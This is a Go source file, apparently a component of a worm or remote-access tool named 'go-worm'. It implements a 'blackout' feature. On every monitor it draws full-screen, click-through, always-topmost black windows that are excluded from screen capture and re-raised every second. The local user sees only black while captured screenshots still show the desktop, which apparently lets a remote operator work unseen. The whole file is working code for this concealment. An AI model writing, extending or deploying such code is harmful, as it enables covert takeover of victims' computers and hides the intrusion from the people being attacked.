//go:build windows package blackout import ( "errors" "fmt" "runtime" "sync" "syscall" "time" "unsafe" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" ) const ( className = "win64_mp_blackout" wsPopup = 0x80000000 wsExLayered = 0x00080000 wsExTransparent = 0x00000020 wsExTopmost = 0x00000008 wsExToolwindow = 0x00000080 wsExNoActivate = 0x08000000 layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate swShowNoActivate = 4 swpNoActivate = 0x0010 swpNoMove = 0x0002 swpNoSize = 0x0001 swpShowWindow = 0x0040 lwaAlpha = 0x00000002 wdaExcludeFromCapture = 0x00000011 blackBrush = 4 errorClassAlreadyExists = 1410 htTransparent = 0xFFFFFFFF maNoActivate = 3 wmQuit = 0x0012 wmNcHitTest = 0x0084 wmMouseActivate = 0x0021 wmDisplayChange = 0x007E wmUser = 0x0400 wmRebuild = wmUser + 1 hwndTopmost = ^uintptr(0) // HWND_TOPMOST ) type wndClassEx struct { Size uint32 Style uint32 WndProc uintptr ClsExtra int32 WndExtra int32 Instance uintptr Icon uintptr Cursor uintptr Background uintptr MenuName *uint16 ClassName *uint16 IconSm uintptr } type msg struct { HWnd uintptr Message uint32 WParam uintptr LParam uintptr Time uint32 Pt struct{ X, Y int32 } } type overlayRect struct { left, top, width, height int } var ( user32 = syscall.NewLazyDLL("user32.dll") gdi32 = syscall.NewLazyDLL("gdi32.dll") kernel32 = syscall.NewLazyDLL("kernel32.dll") procRegisterClassExW = user32.NewProc("RegisterClassExW") procCreateWindowExW = user32.NewProc("CreateWindowExW") procDestroyWindow = user32.NewProc("DestroyWindow") procShowWindow = user32.NewProc("ShowWindow") procSetWindowPos = user32.NewProc("SetWindowPos") procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes") procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity") procDefWindowProcW = user32.NewProc("DefWindowProcW") procGetMessageW = user32.NewProc("GetMessageW") procTranslateMessage = user32.NewProc("TranslateMessage") procDispatchMessageW = user32.NewProc("DispatchMessageW") procPostThreadMessageW = user32.NewProc("PostThreadMessageW") procGetStockObject = gdi32.NewProc("GetStockObject") procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW") procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") // ponytail: NewCallback is never freed; one wndproc for the process. wndProcCB = syscall.NewCallback(overlayWndProc) mu sync.Mutex active bool threadID uint32 loopDone chan struct{} hwnds []uintptr classAtom uint16 classUTF16 *uint16 ) func init() { if unsafe.Sizeof(wndClassEx{}) != 80 { panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{}))) } } func running() bool { mu.Lock() defer mu.Unlock() return active } func start() error { mu.Lock() if active { mu.Unlock() return nil } done := make(chan struct{}) ready := make(chan error, 1) loopDone = done mu.Unlock() go func() { defer close(done) defer helpers.RecoverLog("blackout") runOverlayLoop(ready) }() select { case err := <-ready: if err != nil { <-done return err } return nil case <-time.After(5 * time.Second): stop() return errors.New("monitor blackout did not start") } } func stop() { mu.Lock() tid := threadID done := loopDone mu.Unlock() if tid != 0 { _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0) } if done != nil { <-done } } func runOverlayLoop(ready chan<- error) { runtime.LockOSThread() defer runtime.UnlockOSThread() defer func() { destroyOverlays() mu.Lock() active = false threadID = 0 loopDone = nil mu.Unlock() }() tid, _, _ := procGetCurrentThreadId.Call() mu.Lock() threadID = uint32(tid) mu.Unlock() if err := registerClass(); err != nil { ready <- err return } if err := createOverlays(); err != nil { ready <- err return } mu.Lock() active = true mu.Unlock() ready <- nil ticker := time.NewTicker(time.Second) defer ticker.Stop() stopTop := make(chan struct{}) defer close(stopTop) go func() { defer helpers.RecoverLog("blackout-top") for { select { case <-stopTop: return case <-ticker.C: mu.Lock() on := active ids := append([]uintptr(nil), hwnds...) mu.Unlock() if !on { return } for _, hwnd := range ids { _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate) } } } }() var m msg for { ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0) v := int32(ret) if v == 0 || v == -1 { return } if m.HWnd == 0 && m.Message == wmRebuild { _ = createOverlays() continue } _, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m))) _, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m))) } } func registerClass() error { if classAtom != 0 { return nil } name, err := syscall.UTF16PtrFromString(className) if err != nil { return err } classUTF16 = name inst, _, _ := procGetModuleHandleW.Call(0) brush, _, _ := procGetStockObject.Call(blackBrush) wc := wndClassEx{ Size: uint32(unsafe.Sizeof(wndClassEx{})), WndProc: wndProcCB, Instance: inst, Background: brush, ClassName: name, } atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))) if atom == 0 { if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists { classAtom = 1 return nil } if callErr != nil && callErr != syscall.Errno(0) { return callErr } return errors.New("RegisterClassEx failed") } classAtom = uint16(atom) return nil } func monitorRects() ([]overlayRect, error) { var out []overlayRect for i := 0; i < 64; i++ { left, top, width, height, err := screenshot.MonitorBounds(i) if err != nil { break } if width < 1 || height < 1 { continue } out = append(out, overlayRect{left, top, width, height}) } if len(out) == 0 { return nil, errors.New("no displays found") } return out, nil } func createOverlays() error { destroyOverlays() rects, err := monitorRects() if err != nil { return err } inst, _, _ := procGetModuleHandleW.Call(0) var created []uintptr for _, r := range rects { hwnd, err := createOverlay(inst, r) if err != nil { for _, h := range created { _, _, _ = procDestroyWindow.Call(h) } return err } created = append(created, hwnd) } mu.Lock() hwnds = created mu.Unlock() return nil } func createOverlay(inst uintptr, r overlayRect) (uintptr, error) { hwnd, _, callErr := procCreateWindowExW.Call( layeredEx, uintptr(unsafe.Pointer(classUTF16)), 0, wsPopup, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), 0, 0, inst, 0, ) if hwnd == 0 { if callErr != nil && callErr != syscall.Errno(0) { return 0, callErr } return 0, errors.New("CreateWindowEx failed") } ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture) if ok == 0 { _, _, _ = procDestroyWindow.Call(hwnd) if affErr != nil && affErr != syscall.Errno(0) { return 0, fmt.Errorf("exclude overlay from capture: %w", affErr) } return 0, errors.New("exclude overlay from capture failed") } _, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha) _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow) _, _, _ = procShowWindow.Call(hwnd, swShowNoActivate) return hwnd, nil } func destroyOverlays() { mu.Lock() ids := hwnds hwnds = nil mu.Unlock() for _, hwnd := range ids { _, _, _ = procDestroyWindow.Call(hwnd) } } func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr { switch message { case wmNcHitTest: return htTransparent case wmMouseActivate: return maNoActivate case wmDisplayChange: mu.Lock() tid := threadID mu.Unlock() if tid != 0 { _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0) } return 0 } ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam) return ret }